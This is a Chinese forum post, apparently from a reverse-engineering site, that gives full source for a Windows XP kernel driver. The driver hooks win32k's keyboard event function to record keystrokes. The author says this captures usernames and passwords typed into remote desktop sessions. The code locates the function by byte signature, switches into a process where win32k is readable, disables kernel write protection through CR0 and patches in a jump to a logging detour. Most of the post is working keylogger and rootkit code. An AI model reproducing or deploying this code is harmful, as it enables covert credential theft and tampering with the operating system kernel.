xxxKeyEvent 是 win32k 里面处理键盘消息的,不仅仅是你按下物理键盘产生的消息,远程桌面登录,SendInput 等模拟的键盘消息也可以获取。这样就可以记录远程桌面上的按键消息了,包含用户登录远程桌面时输入的用户名 密码等,比较强大。
首先要找到这个函数的地址,我使用的是特征码搜索的方式
选择的特征码:windows xp sp3 的
UCHAR *keycode = "\x83\x88\x24\x0f\x00\x00\x01\x8b\xda\x81\xe3\x00\x80\x00\x00\x85\xdb\x0f\x95\xc1";
/*
win32k!xxxKeyEvent+0x1f
bf847eda 8388240f000001 or dword ptr [eax+0F24h],1
bf847ee1 8bda mov ebx,edx
bf847ee3 81e300800000 and ebx,8000h
bf847ee9 85db test ebx,ebx
bf847eeb 0f95c1 setne cl
*/
思路先找到win32k的基址,然后找到函数,但是驱动加载的时候在system进程空间 win32k不可读,方法是切换到另一个进程空间,代码:
//循环找到合适的进程空间
for (hProcess = 0;hProcess<5000;hProcess ++)
{
if(PsLookupProcessByProcessId(hProcess,&pProcess)== STATUS_SUCCESS)
{
KdPrint(("process id : %d \n",hProcess));
KeStackAttachProcess(pProcess,&kapc);
if(!MmIsAddressValid(win32kBase))
continue;
//xxxxxxx......
然后就是关闭写保护改写函数了。
完整的代码
#include <ntifs.h>
#include <ntddk.h>
#include <Ntstrsafe.h>
typedef struct _RTL_PROCESS_MODULE_INFORMATION {
HANDLE Section; // Not filled in
PVOID MappedBase;
PVOID ImageBase;
ULONG ImageSize;
ULONG Flags;
USHORT LoadOrderIndex;
USHORT InitOrderIndex;
USHORT LoadCount;
USHORT OffsetToFileName;
UCHAR FullPathName[ 256 ];
} RTL_PROCESS_MODULE_INFORMATION, *PRTL_PROCESS_MODULE_INFORMATION;
typedef struct _RTL_PROCESS_MODULES {
ULONG NumberOfModules;
RTL_PROCESS_MODULE_INFORMATION Modules[ 1 ];
} RTL_PROCESS_MODULES, *PRTL_PROCESS_MODULES;
typedef enum _SYSTEM_INFORMATION_CLASS {
SystemBasicInformation,
SystemProcessorInformation, // obsolete...delete
SystemPerformanceInformation,
SystemTimeOfDayInformation,
SystemPathInformation,
SystemProcessInformation,
SystemCallCountInformation,
SystemDeviceInformation,
SystemProcessorPerformanceInformation,
SystemFlagsInformation,
SystemCallTimeInformation,
SystemModuleInformation,
SystemLocksInformation,
SystemStackTraceInformation,
SystemPagedPoolInformation,
SystemNonPagedPoolInformation,
SystemHandleInformation,
SystemObjectInformation,
SystemPageFileInformation,
SystemVdmInstemulInformation,
SystemVdmBopInformation,
SystemFileCacheInformation,
SystemPoolTagInformation,
SystemInterruptInformation,
SystemDpcBehaviorInformation,
SystemFullMemoryInformation,
SystemLoadGdiDriverInformation,
SystemUnloadGdiDriverInformation,
SystemTimeAdjustmentInformation,
SystemSummaryMemoryInformation,
SystemMirrorMemoryInformation,
SystemPerformanceTraceInformation,
SystemObsolete0,
SystemExceptionInformation,
SystemCrashDumpStateInformation,
SystemKernelDebuggerInformation,
SystemContextSwitchInformation,
SystemRegistryQuotaInformation,
SystemExtendServiceTableInformation,
SystemPrioritySeperation,
SystemVerifierAddDriverInformation,
SystemVerifierRemoveDriverInformation,
SystemProcessorIdleInformation,
SystemLegacyDriverInformation,
SystemCurrentTimeZoneInformation,
SystemLookasideInformation,
SystemTimeSlipNotification,
SystemSessionCreate,
SystemSessionDetach,
SystemSessionInformation,
SystemRangeStartInformation,
SystemVerifierInformation,
SystemVerifierThunkExtend,
SystemSessionProcessInformation,
SystemLoadGdiDriverInSystemSpace,
SystemNumaProcessorMap,
SystemPrefetcherInformation,
SystemExtendedProcessInformation,
SystemRecommendedSharedDataAlignment,
SystemComPlusPackage,
SystemNumaAvailableMemory,
SystemProcessorPowerInformation,
SystemEmulationBasicInformation,
SystemEmulationProcessorInformation,
SystemExtendedHandleInformation,
SystemLostDelayedWriteInformation,
SystemBigPoolInformation,
SystemSessionPoolTagInformation,
SystemSessionMappedViewInformation,
SystemHotpatchInformation,
SystemObjectSecurityMode,
SystemWatchdogTimerHandler,
SystemWatchdogTimerInformation,
SystemLogicalProcessorInformation,
SystemWow64SharedInformation,
SystemRegisterFirmwareTableInformationHandler,
SystemFirmwareTableInformation,
SystemModuleInformationEx,
SystemVerifierTriageInformation,
SystemSuperfetchInformation,
SystemMemoryListInformation,
SystemFileCacheInformationEx,
MaxSystemInfoClass // MaxSystemInfoClass should always be the last enum
} SYSTEM_INFORMATION_CLASS;
NTSTATUS
__stdcall
ZwQuerySystemInformation (
IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
OUT PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength OPTIONAL
);
NTSTATUS MyEnumKernelModule(IN UCHAR *str,OUT ULONG *moduleBase,OUT ULONG *moduleSize)
{
PRTL_PROCESS_MODULES pRet = NULL;
ULONG nRetSize = 0;
ULONG i;
NTSTATUS status = STATUS_NOT_FOUND;
ANSI_STRING moduleName;
ANSI_STRING moduleName2;
RtlInitAnsiString(&moduleName,str);
status = ZwQuerySystemInformation(SystemModuleInformation, pRet,
0, &nRetSize );
if ( STATUS_INFO_LENGTH_MISMATCH == status )
{
pRet = (PRTL_PROCESS_MODULES)ExAllocatePoolWithTag(NonPagedPool,nRetSize,'s1n');
status = ZwQuerySystemInformation( SystemModuleInformation, pRet,
nRetSize, &nRetSize );
}
for ( i = 0 ;i<pRet->NumberOfModules;i++)
{
//KdPrint(("%s %X\n",pRet->Modules[i].FullPathName,pRet->Modules[i].ImageBase));
RtlInitAnsiString(&moduleName2,pRet->Modules[i].FullPathName);
if(RtlCompareString(&moduleName,&moduleName2,TRUE) == 0)
{
*moduleBase = (ULONG)pRet->Modules[i].ImageBase;
*moduleSize = pRet->Modules[i].ImageSize;
status = STATUS_SUCCESS;
break;
}
}
if(pRet) ExFreePoolWithTag(pRet,'s1n');
return status;
}
int memfind(const UCHAR *mem, /*要查找内存块的起始地址*/
const UCHAR *str, /*要在其中查找的字符串或者xxx*/
int sizem, /*内存块的大小*/
int sizes/*要查找的字符串的大小*/
)
{
int da,i,j;
da = sizes;
for (i = 0; i < sizem; i++)
{
for (j = 0; j < da; j ++)
if (mem[i+j] != str[j]) break;
if (j == da) return i; /*找到了 返回其在内存中的偏移*/
}
return -1;
}
VOID
unloadME (
__in struct _DRIVER_OBJECT *DriverObject
)
{
///....
KdPrint(("bye ,,,,"));
}
VOID MyxxxKeyEvent(USHORT usFlaggedVk,
USHORT wScanCode,
DWORD time,
ULONG_PTR ExtraInfo,
ULONG bInjected)
{
//
if(!(usFlaggedVk & 0xFF00))//键被按下。。
KdPrint(("--Vk:%4x %4x\n",usFlaggedVk,wScanCode));
}
VOID __cdecl HOOK_xxxKeyEvent(\
DWORD fake,
USHORT usFlaggedVk,
USHORT wScanCode,
DWORD time,
ULONG_PTR ExtraInfo,
ULONG bInjected)
{
__asm pushad
__asm pushfd
MyxxxKeyEvent(usFlaggedVk,wScanCode,time,ExtraInfo,bInjected);
__asm popfd
__asm popad
}
ULONG xxxKeyEventBase;
ULONG RestoreCode = 0xec8b55ff
/*
bf847ebb 8bff mov edi,edi
bf847ebd 55 push ebp
bf847ebe 8bec mov ebp,esp
*/
VOID __declspec(naked) myDetourFunc()
{
__asm{
call HOOK_xxxKeyEvent
push ebp
mov ebp,esp
mov eax,DWORD ptr[xxxKeyEventBase]
add eax,5
jmp eax
}
}
//特征码
UCHAR *keycode = "\x83\x88\x24\x0f\x00\x00\x01\x8b\xda\x81\xe3\x00\x80\x00\x00\x85\xdb\x0f\x95\xc1";
/*
win32k!xxxKeyEvent+0x1f
bf847eda 8388240f000001 or dword ptr [eax+0F24h],1
bf847ee1 8bda mov ebx,edx
bf847ee3 81e300800000 and ebx,8000h
bf847ee9 85db test ebx,ebx
bf847eeb 0f95c1 setne cl
*/
KAPC_STATE kapc;
NTSTATUS
DriverEntry(
__in struct _DRIVER_OBJECT *DriverObject,
__in PUNICODE_STRING RegistryPath
)
{
ULONG win32kBase;
ULONG win32kSize;
NTSTATUS status;
ULONG jmpcode;
ULONG hProcess;
PEPROCESS pProcess;
status = MyEnumKernelModule("\\SystemRoot\\System32\\win32k.sys",&win32kBase,&win32kSize);
if(status != STATUS_SUCCESS)
{
KdPrint(("not found ...."));
goto ExitMe;
}
KdPrint(("%u %u \n",win32kBase,win32kSize));
for (hProcess = 0;hProcess<5000;hProcess ++)
{
if(PsLookupProcessByProcessId(hProcess,&pProcess)== STATUS_SUCCESS)
{
KdPrint(("process id : %d \n",hProcess));
KeStackAttachProcess(pProcess,&kapc);
if(!MmIsAddressValid(win32kBase))
continue;
KdPrint(("it is a vaild process !! %x\n",*(ULONG *)win32kBase));
xxxKeyEventBase = (ULONG)win32kBase + memfind(win32kBase,keycode,win32kSize,20) - 0x1f;
KdPrint(("xxxKeyEventBase:%x\n",xxxKeyEventBase));
jmpcode = (ULONG)myDetourFunc - xxxKeyEventBase - 5;
__asm
{
push eax
mov eax, CR0
and eax, 0FFFEFFFFh
mov CR0, eax
pop eax
}
InterlockedExchange((LONG *)xxxKeyEventBase,0xe9);
InterlockedExchange((LONG *)(xxxKeyEventBase + 1),jmpcode);
__asm
{
push eax
mov eax, CR0
or eax, NOT 0FFFEFFFFh
mov CR0, eax
pop eax
}
KeUnstackDetachProcess(&kapc);
break;
}
}
ExitMe:
DriverObject->DriverUnload = unloadME;
return STATUS_SUCCESS;
}
---------------------------------------------------------------------------------------
求个邀请码
[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法